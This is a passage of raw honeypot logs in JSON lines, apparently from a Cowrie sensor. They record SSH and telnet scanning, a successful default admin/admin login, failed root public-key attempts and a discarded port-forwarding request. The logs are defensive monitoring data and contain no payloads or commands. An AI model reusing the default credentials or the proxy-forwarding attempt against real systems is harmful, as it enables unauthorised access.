4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:02.280493Z","src_ip":"176.65.132.50","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51972,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1fc77249c9","protocol":"telnet","message":"New connection: 180.235.129.180:51972 (10.17.0.5:23) [session: cf1fc77249c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:02.621049Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:03.067848Z","src_ip":"176.65.132.50","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.50","dst_port":80,"src_ip":"176.65.132.50","src_port":5555,"message":"direct-tcp connection request to 176.65.132.50:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:04.066208Z","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.50","dst_port":80,"data":"b'lzSjMHJMIZSMn6ttgmNIse7BDXujdayMGm8eKM2DIsr1jWLE6w'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.50:80 with data b'lzSjMHJMIZSMn6ttgmNIse7BDXujdayMGm8eKM2DIsr1jWLE6w'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:04.165975Z","src_ip":"176.65.132.50","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:05.261274Z","src_ip":"176.65.132.50","session":"15af3a7e07ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.291067123413086,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:07.005598Z","src_ip":"181.211.106.184","session":"a9c71e113bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.533811092376709,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:09.154727Z","src_ip":"180.235.129.180","session":"cf1fc77249c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.195","src_port":50957,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5ebb77aa68","protocol":"ssh","message":"New connection: 147.185.132.195:50957 (10.17.0.5:22) [session: 2f5ebb77aa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:16.940766Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:17.108934Z","src_ip":"147.185.132.195","session":"2f5ebb77aa68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54086,"dst_ip":"10.17.0.5","dst_port":23,"session":"9902a79b8aa3","protocol":"telnet","message":"New connection: 180.235.129.180:54086 (10.17.0.5:23) [session: 9902a79b8aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:26.827010Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54084,"dst_ip":"10.17.0.5","dst_port":23,"session":"743e2655cc91","protocol":"telnet","message":"New connection: 180.235.129.180:54084 (10.17.0.5:23) [session: 743e2655cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:29.783329Z"}
{"eventid":"cowrie.session.closed","duration":120.00358080863953,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:31.688549Z","src_ip":"49.88.156.34","session":"4e446a13fc63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.840322971343994,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:33.687643Z","src_ip":"180.235.129.180","session":"0fc88edbcc4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.09729528427124,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:34.880515Z","src_ip":"180.235.129.180","session":"743e2655cc91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.197.10","src_port":59076,"dst_ip":"10.17.0.5","dst_port":22,"session":"4107b4c7351f","protocol":"ssh","message":"New connection: 147.182.197.10:59076 (10.17.0.5:22) [session: 4107b4c7351f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:52.861309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:52.869657Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:52.942347Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:66:96:a9:30:58:23:d9:af:2f:6e:f2:0a:7a:35:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCO177kBdQOnZ3MIaDJm9/B6sKDffIi+5FQrgnh81n8cqaOs5uf4Bc1yiqy0nLmvdlKry4Mx2eyXSGVzb3FoPkCqJPLGgTxK1nG38KjB3znOdMeq14HocgzfprPAcKEjsiJjj1oCaLX1ya37xKnTDALdAWieCWAUtxr3aIGF7u9+igUAI37rK8wC2/SkMPGkW7XnFwbvKqNWJkuzXiyTaveobPlTw0GXGkihUS41PjxrzlTY7CDiEl71N767r5AeYNPYNQKbhWDVz5C0mtuU7Ja++BRJxl9+5unGN3HNiGj1hSPiJQrVSO+2LG1mOD5Gb/JmVB/OD03D/2S0A8QYxMX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:66:96:a9:30:58:23:d9:af:2f:6e:f2:0a:7a:35:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.281753Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:66:96:a9:30:58:23:d9:af:2f:6e:f2:0a:7a:35:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCO177kBdQOnZ3MIaDJm9/B6sKDffIi+5FQrgnh81n8cqaOs5uf4Bc1yiqy0nLmvdlKry4Mx2eyXSGVzb3FoPkCqJPLGgTxK1nG38KjB3znOdMeq14HocgzfprPAcKEjsiJjj1oCaLX1ya37xKnTDALdAWieCWAUtxr3aIGF7u9+igUAI37rK8wC2/SkMPGkW7XnFwbvKqNWJkuzXiyTaveobPlTw0GXGkihUS41PjxrzlTY7CDiEl71N767r5AeYNPYNQKbhWDVz5C0mtuU7Ja++BRJxl9+5unGN3HNiGj1hSPiJQrVSO+2LG1mOD5Gb/JmVB/OD03D/2S0A8QYxMX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.284878Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:bb:cb:2c:dd:05:75:97:17:46:8c:43:68:47:0d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7nbSCl5xdeXDXIxaIGXCh+XXpsO9Xr0ozM3vttBdp4ZJSunjS0PNYS6M/OSoYna72LThuX0m0CfyPcmDV07iPepKdefbIgPrOohDzydhcUW0WSZUc9lwTsmmHlsWnDtAHVzc179Wf7wJ6qSuMsKDCoiXptK0B4BWeihxuQB8xjNOwFYtlDtDuuZUXbHKtFWazNvVrcF1kYRmu04qma8TThK/6qqQYrovyVLLDzkD22HfHsl3nTJcyqxZuRiT4xk/x2Vr5pI5FvDmdZIZAdw+RHym89gO52Cxl6RDUHkxgNKmBaeevakwSATiAyvVXPsTYGaFabF2Txq77VwLtBFDssrkQip78jVO8F8SdWiB+Ac0PNdJ6O4xmZPUlqtPAUdfwXj0F5kmbnXFssvkayXdSMbEekS7ZNg0IDkgLQjc+milkctLRYX6IkRZnG1SNiPQc3TyzjKpWrHtHSknHz0lNC3r1EeiLX4jaQTVRsmWLNhMkeqM0WFoFSdaXrrzKgGkYDxi0pjDHxMu3nSEJbMRpw3uSrIpEhJtyO2cmhVN+Gc/jJKpIiDg/qxRPywTV6L78CllQKDcc3zwobgsVc/a/SqdwX0xbkmBqbzn+TFcDiehvw0ngup1dGt6+rUslPutIfDhR0KDBkILHj+jmZFdO5IZ7U/6ATvF6GlxRmF6T8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:bb:cb:2c:dd:05:75:97:17:46:8c:43:68:47:0d:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.356851Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:bb:cb:2c:dd:05:75:97:17:46:8c:43:68:47:0d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7nbSCl5xdeXDXIxaIGXCh+XXpsO9Xr0ozM3vttBdp4ZJSunjS0PNYS6M/OSoYna72LThuX0m0CfyPcmDV07iPepKdefbIgPrOohDzydhcUW0WSZUc9lwTsmmHlsWnDtAHVzc179Wf7wJ6qSuMsKDCoiXptK0B4BWeihxuQB8xjNOwFYtlDtDuuZUXbHKtFWazNvVrcF1kYRmu04qma8TThK/6qqQYrovyVLLDzkD22HfHsl3nTJcyqxZuRiT4xk/x2Vr5pI5FvDmdZIZAdw+RHym89gO52Cxl6RDUHkxgNKmBaeevakwSATiAyvVXPsTYGaFabF2Txq77VwLtBFDssrkQip78jVO8F8SdWiB+Ac0PNdJ6O4xmZPUlqtPAUdfwXj0F5kmbnXFssvkayXdSMbEekS7ZNg0IDkgLQjc+milkctLRYX6IkRZnG1SNiPQc3TyzjKpWrHtHSknHz0lNC3r1EeiLX4jaQTVRsmWLNhMkeqM0WFoFSdaXrrzKgGkYDxi0pjDHxMu3nSEJbMRpw3uSrIpEhJtyO2cmhVN+Gc/jJKpIiDg/qxRPywTV6L78CllQKDcc3zwobgsVc/a/SqdwX0xbkmBqbzn+TFcDiehvw0ngup1dGt6+rUslPutIfDhR0KDBkILHj+jmZFdO5IZ7U/6ATvF6GlxRmF6T8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.360186Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:a7:42:c0:cb:7c:d4:61:1d:b4:83:ec:a6:37:00:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcCU5bCUM3Kdjuuc9hFyFtf7wc/O+V7oS/ahrXUbIpos5RD/LeemxYIY5EVcZhOq7pJ82ZmDs5Jwv2jOHhVenm0o9pdHRlDB5JWgD+Z7gZzXNh1uBwVcnwXvCYj5LjPx7PtpYVmf/ZP35hD5Uo6HOsovQH8WYNDhlCuWcQJIuw0blm1DEQYrp9yTWvspor1UhgQMQH6xPZB/qY6kVECrnEvQpIOiwgdvicbuBTV3oTu/UVEkJ17UjtcaTxwYlfqvkzpyDVhp5GeBUNhGhGQJtRlbz4JoiPf7DxovwtxCn7p3zr7tUp3OJU+JrSaFaGIO97nF/spmtGdP4IpukVREVxqJXBPe952D04RgjEZ5schy8hmxtFwBbiXPY+pgz4Y/Q2kSNPzOeT3WQVT/ij3PInXLSEyrfDk71wUtrjDQF/iGbClsdzBuBeqJsz9NejniaKA4PKXoZko1P9Sp7CSEGzLvZZU66aFumYjde2dFgWySgmh29DF1EcrQERM7zJXkjB53ApaB99b3UdQFEZhAj69V+4mXgwx+w5YWnFie6nilToF5mFwx8KMb5k0bzCL1HMSiOa74VdOvF8ucCfonizJuNpbDJ/3+EiPEu0qY+jtxXctCcoBY8DpSBrBUCI+jzLk+81cFpyt1iqlCPxm+54VjUhakZP1BvORFV1LyTcRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:a7:42:c0:cb:7c:d4:61:1d:b4:83:ec:a6:37:00:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.432992Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:a7:42:c0:cb:7c:d4:61:1d:b4:83:ec:a6:37:00:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcCU5bCUM3Kdjuuc9hFyFtf7wc/O+V7oS/ahrXUbIpos5RD/LeemxYIY5EVcZhOq7pJ82ZmDs5Jwv2jOHhVenm0o9pdHRlDB5JWgD+Z7gZzXNh1uBwVcnwXvCYj5LjPx7PtpYVmf/ZP35hD5Uo6HOsovQH8WYNDhlCuWcQJIuw0blm1DEQYrp9yTWvspor1UhgQMQH6xPZB/qY6kVECrnEvQpIOiwgdvicbuBTV3oTu/UVEkJ17UjtcaTxwYlfqvkzpyDVhp5GeBUNhGhGQJtRlbz4JoiPf7DxovwtxCn7p3zr7tUp3OJU+JrSaFaGIO97nF/spmtGdP4IpukVREVxqJXBPe952D04RgjEZ5schy8hmxtFwBbiXPY+pgz4Y/Q2kSNPzOeT3WQVT/ij3PInXLSEyrfDk71wUtrjDQF/iGbClsdzBuBeqJsz9NejniaKA4PKXoZko1P9Sp7CSEGzLvZZU66aFumYjde2dFgWySgmh29DF1EcrQERM7zJXkjB53ApaB99b3UdQFEZhAj69V+4mXgwx+w5YWnFie6nilToF5mFwx8KMb5k0bzCL1HMSiOa74VdOvF8ucCfonizJuNpbDJ/3+EiPEu0qY+jtxXctCcoBY8DpSBrBUCI+jzLk+81cFpyt1iqlCPxm+54VjUhakZP1BvORFV1LyTcRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.436409Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:eb:2b:0c:fa:69:01:95:1b:ef:24:7a:a0:e8:72:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzndqwL4wyErsPMwPQnd68hHwez8QIFi3Qjeu+2qzIDTU9znX1IiGABCtFQYaH5Dpa/ddRoM8T6O5mUVdST3rrbp2LDaolMZdholX7O8yDvskeZj1sEdCgxbmFHgvcfkSH9WbYVZbwJsDkRtU3qnqGaVNqMnpaZj9r6Wad1ncVW5/SM7xPyc4O2/Pi5FfwJVU5098hytmH1JY9WKlqRwtQxUysi+47XHOlZnBlEGhE6fA9WaqHnTaJnjiXZhcXAPdjlEbFvLiKZIf818ZyNGQSnGoiC0rxsBFjvNFtaMm0GGQMNsVAHFgzPaka2ilet/DITdf/9lzPi275gIGl1FQwVp43PQwn9M1UqL4NHqUZgtt+X8dVlZsexHLYBrwW5sVeHj0noGgnwErlHCIoF/YhAE7s01j9RL+kvFxHY4nFAjhe8fWE3+pA+b7KGJQF1di1CR83r7dGXQKDd2a0sLUN+JqR431pKpHFELC/ikWfmmQF64ZaDrIxtjUmshd/bgMRI9SDlmr0TCAVG6m2QSCZSVrszH6Y3a5R19+jIwNULfkbnEfHxoDPRSLGUmtLh/iZ56PDyU+t9NIyXMP4ChTlaqZFnDeSRk6Xuagd6f2PdNMZt80/OT5sqr0++cJP7AViBfPaXwOoDHQWNyE+PSTrzgwK0cTHpXCPB/LxHmgGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:eb:2b:0c:fa:69:01:95:1b:ef:24:7a:a0:e8:72:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.515311Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:eb:2b:0c:fa:69:01:95:1b:ef:24:7a:a0:e8:72:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzndqwL4wyErsPMwPQnd68hHwez8QIFi3Qjeu+2qzIDTU9znX1IiGABCtFQYaH5Dpa/ddRoM8T6O5mUVdST3rrbp2LDaolMZdholX7O8yDvskeZj1sEdCgxbmFHgvcfkSH9WbYVZbwJsDkRtU3qnqGaVNqMnpaZj9r6Wad1ncVW5/SM7xPyc4O2/Pi5FfwJVU5098hytmH1JY9WKlqRwtQxUysi+47XHOlZnBlEGhE6fA9WaqHnTaJnjiXZhcXAPdjlEbFvLiKZIf818ZyNGQSnGoiC0rxsBFjvNFtaMm0GGQMNsVAHFgzPaka2ilet/DITdf/9lzPi275gIGl1FQwVp43PQwn9M1UqL4NHqUZgtt+X8dVlZsexHLYBrwW5sVeHj0noGgnwErlHCIoF/YhAE7s01j9RL+kvFxHY4nFAjhe8fWE3+pA+b7KGJQF1di1CR83r7dGXQKDd2a0sLUN+JqR431pKpHFELC/ikWfmmQF64ZaDrIxtjUmshd/bgMRI9SDlmr0TCAVG6m2QSCZSVrszH6Y3a5R19+jIwNULfkbnEfHxoDPRSLGUmtLh/iZ56PDyU+t9NIyXMP4ChTlaqZFnDeSRk6Xuagd6f2PdNMZt80/OT5sqr0++cJP7AViBfPaXwOoDHQWNyE+PSTrzgwK0cTHpXCPB/LxHmgGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.518490Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:ad:5d:c2:ba:45:42:4d:be:08:a5:43:71:93:a9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCutN8gIsTxu/zUvWjN2xyqNk3tpGwjJ6VpMbXHzHxP0LI+a9rP5FAvaXAKtdhHfiMC5d+I9bFEtb/fj3vIRZkogobzrfKfouP/4p30e3XCiB7lTWLGN94oqdFQV2aaftrSzP/EMcEsBmzoer8lgHXhwMd3gM6mQ/NhVdEKXCsmyVswteNcY6UF8H8Hral957w/SmQYxOm+JxYCCoh0uBBlm6wj7aAtBLdJhcHq1RaJA4PUj1K6OwGtrEh67MIcbZQe7hW4pI8Ox73C/DBni/AOiaY8rG/pukX7UuwgA5qReZdikg0CQBuube3qW0jroVjV7bNkN1sI2rFkS83peh7eeg/jNaocYikYZpBY4yGoQQpPOvOq+Ejos3REfY0ECS7CMXrnv/acV1y+07ufUAYC1qansV37tP3jrd/zS+hymM19HW7IDe6Pl9qMcajPM6pV4nqejzyQAc/CWQPvQzfwtJk5gNbITzCWEP3uS8fEhZrAVNlVu1X2oRF09QNPPlLUM8cLN8gcYe3FKFxxHx6LN0Hnm9ayn4jhMumbc5Ltwojrxgozxbz93IFMqgPxDLnX1KfPR2HLY9832Dn74X4JIPK6aIhU0ZFZGo2k/vYJRMsPqDpoSrWB5eX7exoz8/oopeR/9C0E7a72ti6IIteNBx9CC768UkbiLaB3DPOCcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:ad:5d:c2:ba:45:42:4d:be:08:a5:43:71:93:a9:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.591366Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:ad:5d:c2:ba:45:42:4d:be:08:a5:43:71:93:a9:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCutN8gIsTxu/zUvWjN2xyqNk3tpGwjJ6VpMbXHzHxP0LI+a9rP5FAvaXAKtdhHfiMC5d+I9bFEtb/fj3vIRZkogobzrfKfouP/4p30e3XCiB7lTWLGN94oqdFQV2aaftrSzP/EMcEsBmzoer8lgHXhwMd3gM6mQ/NhVdEKXCsmyVswteNcY6UF8H8Hral957w/SmQYxOm+JxYCCoh0uBBlm6wj7aAtBLdJhcHq1RaJA4PUj1K6OwGtrEh67MIcbZQe7hW4pI8Ox73C/DBni/AOiaY8rG/pukX7UuwgA5qReZdikg0CQBuube3qW0jroVjV7bNkN1sI2rFkS83peh7eeg/jNaocYikYZpBY4yGoQQpPOvOq+Ejos3REfY0ECS7CMXrnv/acV1y+07ufUAYC1qansV37tP3jrd/zS+hymM19HW7IDe6Pl9qMcajPM6pV4nqejzyQAc/CWQPvQzfwtJk5gNbITzCWEP3uS8fEhZrAVNlVu1X2oRF09QNPPlLUM8cLN8gcYe3FKFxxHx6LN0Hnm9ayn4jhMumbc5Ltwojrxgozxbz93IFMqgPxDLnX1KfPR2HLY9832Dn74X4JIPK6aIhU0ZFZGo2k/vYJRMsPqDpoSrWB5eX7exoz8/oopeR/9C0E7a72ti6IIteNBx9CC768UkbiLaB3DPOCcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.594896Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:02:53.667866Z","src_ip":"147.182.197.10","session":"4107b4c7351f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c0d6454f96","protocol":"telnet","message":"New connection: 180.235.129.180:56634 (10.17.0.5:23) [session: 10c0d6454f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:04.111480Z"}
{"eventid":"cowrie.session.closed","duration":2.576526641845703,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:06.687882Z","src_ip":"180.235.129.180","session":"10c0d6454f96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6167f41df77","protocol":"telnet","message":"New connection: 180.235.129.180:59124 (10.17.0.5:23) [session: b6167f41df77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:26.941620Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":59134,"dst_ip":"10.17.0.5","dst_port":23,"session":"82afb42e46c2","protocol":"telnet","message":"New connection: 180.235.129.180:59134 (10.17.0.5:23) [session: 82afb42e46c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:26.987537Z"}
{"eventid":"cowrie.session.closed","duration":7.800322771072388,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:34.787733Z","src_ip":"180.235.129.180","session":"82afb42e46c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.29309368133545,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:35.234602Z","src_ip":"180.235.129.180","session":"b6167f41df77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":60100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9304d5f5337","protocol":"telnet","message":"New connection: 180.235.129.180:60100 (10.17.0.5:23) [session: a9304d5f5337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:38.207510Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":60860,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4d195bb87d","protocol":"telnet","message":"New connection: 180.235.129.180:60860 (10.17.0.5:23) [session: 6e4d195bb87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:48.498296Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":60862,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ee842b68d8","protocol":"telnet","message":"New connection: 180.235.129.180:60862 (10.17.0.5:23) [session: 72ee842b68d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:03:48.505985Z"}
